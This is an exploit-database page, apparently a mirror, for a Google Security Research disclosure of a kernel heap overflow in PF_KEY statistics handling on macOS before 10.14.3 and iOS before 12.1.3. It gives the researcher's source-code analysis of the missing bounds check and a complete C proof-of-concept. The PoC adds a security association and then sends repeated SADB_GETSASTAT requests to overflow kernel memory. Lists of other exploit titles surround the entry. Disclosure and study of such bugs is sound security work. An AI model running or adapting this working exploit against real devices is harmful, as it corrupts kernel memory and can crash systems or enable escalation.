Menu

Improved exploit search engine. Try it out

"macOS < 10.14.3 / iOS < 12.1.3 - Kernel Heap Overflow in PF_KEY due to Lack of Bounds Checking when Retrieving Statistics"

Author

"Google Security Research"

Platform

multiple

Release date

2019-01-31

Release Date Title Type Platform Author
2019-04-22 "ManageEngine Applications Manager 14.0 - Authentication Bypass / Remote Command Execution (Metasploit)" remote multiple AkkuS
2019-04-22 "Google Chrome 73.0.3683.103 V8 JavaScript Engine - Out-of-Memory in Invalid Table Size Denial of Service (PoC)" dos multiple "Bogdan Kurinnoy"
2019-04-19 "Atlassian Confluence Widget Connector Macro - Velocity Template Injection (Metasploit)" remote multiple Metasploit
2019-04-18 "LibreOffice < 6.0.7 / 6.1.3 - Macro Code Execution (Metasploit)" local multiple Metasploit
2019-04-18 "Netwide Assembler (NASM) 2.14rc15 - NULL Pointer Dereference (PoC)" dos multiple "Fakhri Zulkifli"
2019-04-17 "Oracle Java Runtime Environment - Heap Corruption During TTF font Rendering in GlyphIterator::setCurrGlyphID" dos multiple "Google Security Research"
2019-04-17 "Oracle Java Runtime Environment - Heap Corruption During TTF font Rendering in sc_FindExtrema4" dos multiple "Google Security Research"
2019-04-09 "Apache Axis 1.4 - Remote Code Execution" remote multiple "David Yesland"
2019-04-08 "QNAP Netatalk < 3.1.12 - Authentication Bypass" remote multiple muts
2019-04-03 "Google Chrome 72.0.3626.96 / 74.0.3702.0 - 'JSPromise::TriggerPromiseReactions' Type Confusion" remote multiple "Google Security Research"
2019-04-03 "Google Chrome 73.0.3683.39 / Chromium 74.0.3712.0 - 'ReadableStream' Internal Object Leak Type Confusion" dos multiple "Google Security Research"
2019-04-03 "Google Chrome 72.0.3626.81 - 'V8TrustedTypePolicyOptions::ToImpl' Type Confusion" dos multiple "Google Security Research"
2019-04-03 "WebKitGTK+ - 'ThreadedCompositor' Race Condition" dos multiple "Google Security Research"
2019-04-03 "WebKit JavaScriptCore - CodeBlock Dangling Watchpoints Use-After-Free" dos multiple "Google Security Research"
2019-04-03 "WebKit JavaScriptCore - Out-Of-Bounds Access in FTL JIT due to LICM Moving Array Access Before the Bounds Check" dos multiple "Google Security Research"
2019-04-03 "iOS < 12.2 / macOS < 10.14.4 XNU - pidversion Increment During execve is Unsafe" dos multiple "Google Security Research"
2019-04-03 "WebKit JavaScriptCore - 'createRegExpMatchesArray' Type Confusion" dos multiple "Google Security Research"
2019-04-03 "SpiderMonkey - IonMonkey Compiled Code Fails to Update Inferred Property Types (Type Confusion)" dos multiple "Google Security Research"
2019-03-28 "Oracle Weblogic Server Deserialization RCE - Raw Object (Metasploit)" remote multiple Metasploit
2019-03-26 "Spidermonkey - IonMonkey Type Inference is Incorrect for Constructors Entered via OSR" dos multiple "Google Security Research"
2019-03-26 "Firefox < 66.0.1 - 'Array.prototype.slice' Buffer Overflow" dos multiple xuechiyaobai
2019-03-25 "Apache CouchDB 2.3.1 - Cross-Site Request Forgery / Cross-Site Scripting" webapps multiple "Ozer Goker"
2019-03-21 "Rails 5.2.1 - Arbitrary File Content Disclosure" webapps multiple NotoriousRebel
2019-03-19 "Google Chrome < M73 - FileSystemOperationRunner Use-After-Free" dos multiple "Google Security Research"
2019-03-19 "Google Chrome < M73 - MidiManagerWin Use-After-Free" dos multiple "Google Security Research"
2019-03-19 "Google Chrome < M73 - Data Race in ExtensionsGuestViewMessageFilter" dos multiple "Google Security Research"
2019-03-19 "Google Chrome < M73 - Double-Destruction Race in StoragePartitionService" dos multiple "Google Security Research"
2019-03-18 "BMC Patrol Agent - Privilege Escalation Code Execution Execution (Metasploit)" remote multiple Metasploit
2019-03-15 "NetData 1.13.0 - HTML Injection" webapps multiple s4vitar
2019-03-14 "Apache UNO / LibreOffice Version: 6.1.2 / OpenOffice 4.1.6 API - Remote Code Execution" remote multiple sud0woodo
Release Date Title Type Platform Author
2019-04-17 "Oracle Java Runtime Environment - Heap Corruption During TTF font Rendering in GlyphIterator::setCurrGlyphID" dos multiple "Google Security Research"
2019-04-17 "Oracle Java Runtime Environment - Heap Corruption During TTF font Rendering in sc_FindExtrema4" dos multiple "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV PostLuafvPostReadWrite SECTION_OBJECT_POINTERS Race Condition Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV Delayed Virtualization Cache Manager Poisoning Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV NtSetCachedSigningLevel Device Guard Bypass" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV LuafvCopyShortName Arbitrary Short Name Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV Delayed Virtualization Cross Process Handle Duplication Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV Delayed Virtualization MAXIMUM_ACCESS DesiredAccess Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 / 1709 - CSRSS SxSSrv Cached Manifest Privilege Escalation" local windows "Google Security Research"
2019-04-03 "Google Chrome 72.0.3626.96 / 74.0.3702.0 - 'JSPromise::TriggerPromiseReactions' Type Confusion" remote multiple "Google Security Research"
2019-04-03 "Google Chrome 73.0.3683.39 / Chromium 74.0.3712.0 - 'ReadableStream' Internal Object Leak Type Confusion" dos multiple "Google Security Research"
2019-04-03 "Google Chrome 72.0.3626.81 - 'V8TrustedTypePolicyOptions::ToImpl' Type Confusion" dos multiple "Google Security Research"
2019-04-03 "WebKitGTK+ - 'ThreadedCompositor' Race Condition" dos multiple "Google Security Research"
2019-04-03 "WebKit JavaScriptCore - CodeBlock Dangling Watchpoints Use-After-Free" dos multiple "Google Security Research"
2019-04-03 "WebKit JavaScriptCore - Out-Of-Bounds Access in FTL JIT due to LICM Moving Array Access Before the Bounds Check" dos multiple "Google Security Research"
2019-04-03 "iOS < 12.2 / macOS < 10.14.4 XNU - pidversion Increment During execve is Unsafe" dos multiple "Google Security Research"
2019-04-03 "WebKit JavaScriptCore - 'createRegExpMatchesArray' Type Confusion" dos multiple "Google Security Research"
2019-04-03 "SpiderMonkey - IonMonkey Compiled Code Fails to Update Inferred Property Types (Type Confusion)" dos multiple "Google Security Research"
2019-03-28 "gnutls 3.6.6 - 'verify_crt()' Use-After-Free" dos linux "Google Security Research"
2019-03-26 "Spidermonkey - IonMonkey Type Inference is Incorrect for Constructors Entered via OSR" dos multiple "Google Security Research"
2019-03-25 "VMware Workstation 14.1.5 / VMware Player 15 - Host VMX Process COM Class Hijack Privilege Escalation" local windows "Google Security Research"
2019-03-25 "VMware Workstation 14.1.5 / VMware Player 15.0.2 - Host VMX Process Impersonation Hijack Privilege Escalation" local windows "Google Security Research"
2019-03-22 "snap - seccomp BBlacklist for TIOCSTI can be Circumvented" dos linux "Google Security Research"
2019-03-19 "Google Chrome < M73 - FileSystemOperationRunner Use-After-Free" dos multiple "Google Security Research"
2019-03-19 "Google Chrome < M73 - MidiManagerWin Use-After-Free" dos multiple "Google Security Research"
2019-03-19 "Microsoft Edge - Flash click2play Bypass with CObjectElement::FinalCreateObject" dos windows "Google Security Research"
2019-03-19 "Microsoft VBScript - VbsErase Memory Corruption" dos windows "Google Security Research"
2019-03-19 "Microsoft Internet Explorer 11 - VBScript Execution Policy Bypass in MSHTML" dos windows "Google Security Research"
2019-03-19 "Google Chrome < M73 - Data Race in ExtensionsGuestViewMessageFilter" dos multiple "Google Security Research"
2019-03-19 "Google Chrome < M73 - Double-Destruction Race in StoragePartitionService" dos multiple "Google Security Research"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46300/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46300/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46300/40769/macos-10143-ios-1213-kernel-heap-overflow-in-pf_key-due-to-lack-of-bounds-checking-when-retrieving-statistics/download/", "exploit_id": "46300", "exploit_description": "\"macOS < 10.14.3 / iOS < 12.1.3 - Kernel Heap Overflow in PF_KEY due to Lack of Bounds Checking when Retrieving Statistics\"", "exploit_date": "2019-01-31", "exploit_author": "\"Google Security Research\"", "exploit_type": "dos", "exploit_platform": "multiple", "exploit_port": null}
                                            

For full documentation follow the link above

Browse exploit DB API Browse

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
/*
Inspired by Ned Williamsons's fuzzer I took a look at the netkey code.

key_getsastat handles SADB_GETSASTAT messages:

It allocates a buffer based on the number of SAs there currently are:

  bufsize = (ipsec_sav_count + 1) * sizeof(*sa_stats_sav);
    
  KMALLOC_WAIT(sa_stats_sav, __typeof__(sa_stats_sav), bufsize);

It the retrieves the list of SPIs we are querying for, and the length of that list:

  sa_stats_arg = (__typeof__(sa_stats_arg))(void *)mhp->ext[SADB_EXT_SASTAT];

  arg_count = sa_stats_arg->sadb_sastat_list_len;

  // exit early if there are no requested SAs
  if (arg_count == 0) {
    printf("%s: No SAs requested.\n", __FUNCTION__);
    error = ENOENT;
    goto end;
  }
  res_count = 0;

It passes those, and the allocated buffer, to key_getsastatbyspi:

  if (key_getsastatbyspi((struct sastat *)(sa_stats_arg + 1),
                         arg_count,
                         sa_stats_sav,
                         &res_count)) {

The is immediately suspicious because we're passing the sa_stats_sav buffer in, but not its length...

Looking at key_getsastatbyspi:

  static int
  key_getsastatbyspi (struct sastat *stat_arg,
                      u_int32_t      max_stat_arg,
                      struct sastat *stat_res,
                      u_int32_t     *max_stat_res)
  {
    int cur, found = 0;

    if (stat_arg == NULL ||
        stat_res == NULL ||
        max_stat_res == NULL) {
      return -1;
    }

    for (cur = 0; cur < max_stat_arg; cur++) {
      if (key_getsastatbyspi_one(stat_arg[cur].spi,
                                 &stat_res[found]) == 0) {
        found++;
      }
    }
    *max_stat_res = found;

    if (found) {
      return 0;
    }
    return -1;
  }

Indeed, each time a spi match is found we increment found and can go past the end of the stat_res buffer.

Triggering this requires you to load a valid SA with a known SPI (here 0x41414141) then send a SADB_GETSASTAT
containing multiple requests for that same, valid SPI.

Tested on MacOS 10.14.2 (18C54)
*/

// @i41nbeer

#if 0
iOS/MacOS kernel heap overflow in PF_KEY due to lack of bounds checking when retrieving statistics

Inspired by Ned Williamsons's fuzzer I took a look at the netkey code.

key_getsastat handles SADB_GETSASTAT messages:

It allocates a buffer based on the number of SAs there currently are:

  bufsize = (ipsec_sav_count + 1) * sizeof(*sa_stats_sav);
    
  KMALLOC_WAIT(sa_stats_sav, __typeof__(sa_stats_sav), bufsize);

It the retrieves the list of SPIs we are querying for, and the length of that list:

  sa_stats_arg = (__typeof__(sa_stats_arg))(void *)mhp->ext[SADB_EXT_SASTAT];

  arg_count = sa_stats_arg->sadb_sastat_list_len;

  // exit early if there are no requested SAs
  if (arg_count == 0) {
    printf("%s: No SAs requested.\n", __FUNCTION__);
    error = ENOENT;
    goto end;
  }
  res_count = 0;

It passes those, and the allocated buffer, to key_getsastatbyspi:

  if (key_getsastatbyspi((struct sastat *)(sa_stats_arg + 1),
                         arg_count,
                         sa_stats_sav,
                         &res_count)) {

The is immediately suspicious because we're passing the sa_stats_sav buffer in, but not its length...

Looking at key_getsastatbyspi:

  static int
  key_getsastatbyspi (struct sastat *stat_arg,
                      u_int32_t      max_stat_arg,
                      struct sastat *stat_res,
                      u_int32_t     *max_stat_res)
  {
    int cur, found = 0;

    if (stat_arg == NULL ||
        stat_res == NULL ||
        max_stat_res == NULL) {
      return -1;
    }

    for (cur = 0; cur < max_stat_arg; cur++) {
      if (key_getsastatbyspi_one(stat_arg[cur].spi,
                                 &stat_res[found]) == 0) {
        found++;
      }
    }
    *max_stat_res = found;

    if (found) {
      return 0;
    }
    return -1;
  }

Indeed, each time a spi match is found we increment found and can go past the end of the stat_res buffer.

Triggering this requires you to load a valid SA with a known SPI (here 0x41414141) then send a SADB_GETSASTAT
containing multiple requests for that same, valid SPI.

Tested on MacOS 10.14.2 (18C54)
#endif

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/pfkeyv2.h>

#if 0
struct sadb_msg {
  u_int8_t sadb_msg_version;
  u_int8_t sadb_msg_type;
  u_int8_t sadb_msg_errno;
  u_int8_t sadb_msg_satype;
  u_int16_t sadb_msg_len;         // in 8-byte units
  u_int16_t sadb_msg_reserved;
  u_int32_t sadb_msg_seq;
  u_int32_t sadb_msg_pid;
};

// extenstion header

struct sadb_ext {
  u_int16_t sadb_ext_len;        // 8-byte units
  u_int16_t sadb_ext_type;
};

// SADB_EXT_SA

struct sadb_sa {
  u_int16_t sadb_sa_len;
  u_int16_t sadb_sa_exttype;
  u_int32_t sadb_sa_spi;
  u_int8_t sadb_sa_replay;
  u_int8_t sadb_sa_state;
  u_int8_t sadb_sa_auth;
  u_int8_t sadb_sa_encrypt;
  u_int32_t sadb_sa_flags;
};

// SADB_EXT_ADDRESS_SRC/DST
// is this variable sized?

struct sadb_address {
  u_int16_t sadb_address_len;
  u_int16_t sadb_address_exttype;
  u_int8_t sadb_address_proto;
  u_int8_t sadb_address_prefixlen;
  u_int16_t sadb_address_reserved;
};

// SADB_EXT_KEY_AUTH header

struct sadb_key {
  u_int16_t sadb_key_len;       
  u_int16_t sadb_key_exttype;
  u_int16_t sadb_key_bits;      // >> 3 -> bzero
  u_int16_t sadb_key_reserved;
};

// SADB_EXT_SASTAT

struct sadb_sastat {
        u_int16_t            sadb_sastat_len;
        u_int16_t            sadb_sastat_exttype;
        u_int32_t            sadb_sastat_dir;
        u_int32_t            sadb_sastat_reserved;
        u_int32_t            sadb_sastat_list_len;
        /* list of struct sastat comes after */
} __attribute__ ((aligned(8)));

struct sastat {
        u_int32_t            spi;               /* SPI Value, network byte order */
        u_int32_t            created;           /* for lifetime */
        struct sadb_lifetime lft_c;             /* CURRENT lifetime. */
}; // no need to align

#endif


struct my_msg {
  struct sadb_msg hdr;

  // required options
  struct sadb_sa sa;  // SADB_EXT_SA

  struct sadb_address address_src; // SADB_EXT_ADDRESS_SRC
  struct sockaddr_in sockaddr_src; // 0x10 bytes
  struct sadb_address address_dst; // SADB_EXT_ADDRESS_DST
  struct sockaddr_in sockaddr_dst; // 0x10 bytes

  struct sadb_key key;
  char key_material[128/8];
};

#define N_LIST_ENTRIES 32
struct stat_msg {
  struct sadb_msg hdr;
  struct sadb_session_id sid;
  struct sadb_sastat stat;
  struct sastat list[N_LIST_ENTRIES];
};

int main() {
  // get a PF_KEY socket:
  int fd = socket(PF_KEY, SOCK_RAW, PF_KEY_V2);
  if (fd == -1) {
    perror("failed to get PF_KEY socket, got privs?");
    return 0;
  }

  printf("got PF_KEY socket: %d\n", fd);

  struct my_msg* msg = malloc(sizeof(struct my_msg));
  memset(msg, 0, sizeof(struct my_msg));

  msg->hdr.sadb_msg_version = PF_KEY_V2;
  msg->hdr.sadb_msg_type = SADB_ADD;

  msg->hdr.sadb_msg_satype = SADB_SATYPE_AH;
  
  msg->hdr.sadb_msg_len = sizeof(struct my_msg) >> 3;
  msg->hdr.sadb_msg_pid = getpid();

  // SADB_EXT_SA
  msg->sa.sadb_sa_len = sizeof(msg->sa) >> 3;
  msg->sa.sadb_sa_exttype = SADB_EXT_SA;

  // we need to fill in the fields correctly as we need at least one valid key 
  msg->sa.sadb_sa_spi = 0x41414141;

  msg->sa.sadb_sa_auth = SADB_AALG_MD5HMAC; // sav->alg_auth, which alg
  // -> 128 bit key size

  // SADB_EXT_ADDRESS_SRC
  msg->address_src.sadb_address_len = (sizeof(msg->address_src) + sizeof(msg->sockaddr_src)) >> 3;
  msg->address_src.sadb_address_exttype = SADB_EXT_ADDRESS_SRC;

  msg->sockaddr_src.sin_len = 0x10;
  msg->sockaddr_src.sin_family = AF_INET;
  msg->sockaddr_src.sin_port = 4141;
  inet_pton(AF_INET, "10.10.10.10", &msg->sockaddr_src.sin_addr);


  // SADB_EXT_ADDRESS_DST
  msg->address_dst.sadb_address_len = (sizeof(msg->address_dst) + sizeof(msg->sockaddr_dst)) >> 3;
  msg->address_dst.sadb_address_exttype = SADB_EXT_ADDRESS_DST;

  msg->sockaddr_dst.sin_len = 0x10;
  msg->sockaddr_dst.sin_family = AF_INET;
  msg->sockaddr_dst.sin_port = 4242;
  inet_pton(AF_INET, "10.10.10.10", &msg->sockaddr_dst.sin_addr);

  msg->key.sadb_key_exttype = SADB_EXT_KEY_AUTH;
  msg->key.sadb_key_len = (sizeof(struct sadb_key) + sizeof(msg->key_material)) >> 3;
  msg->key.sadb_key_bits = 128;

  size_t amount_to_send = msg->hdr.sadb_msg_len << 3;
  printf("trying to write %zd bytes\n", amount_to_send);
  ssize_t written = write(fd, msg, amount_to_send);
  printf("written: %zd\n", written);


  
  struct stat_msg * smsg = malloc(sizeof(struct stat_msg));
  memset(smsg, 0, sizeof(struct stat_msg));

  smsg->hdr.sadb_msg_version = PF_KEY_V2;
  smsg->hdr.sadb_msg_type = SADB_GETSASTAT;

  smsg->hdr.sadb_msg_satype = SADB_SATYPE_AH;
  
  smsg->hdr.sadb_msg_len = sizeof(struct stat_msg) >> 3;
  smsg->hdr.sadb_msg_pid = getpid();

  // SADB_EXT_SESSION_ID
  smsg->sid.sadb_session_id_len = sizeof(struct sadb_session_id) >> 3;
  smsg->sid.sadb_session_id_exttype = SADB_EXT_SESSION_ID;

  // SADB_EXT_SASTAT
  smsg->stat.sadb_sastat_len = (sizeof(struct sadb_sastat) + sizeof(smsg->list)) >> 3;
  smsg->stat.sadb_sastat_exttype = SADB_EXT_SASTAT;

  smsg->stat.sadb_sastat_list_len = N_LIST_ENTRIES;

  for (int i = 0; i < N_LIST_ENTRIES; i++) {
    smsg->list[i].spi = 0x41414141;
  }


  amount_to_send = smsg->hdr.sadb_msg_len << 3;
  printf("trying to write %zd bytes\n", amount_to_send);
  written = write(fd, smsg, amount_to_send);
  printf("written: %zd\n", written);




  return 0;
}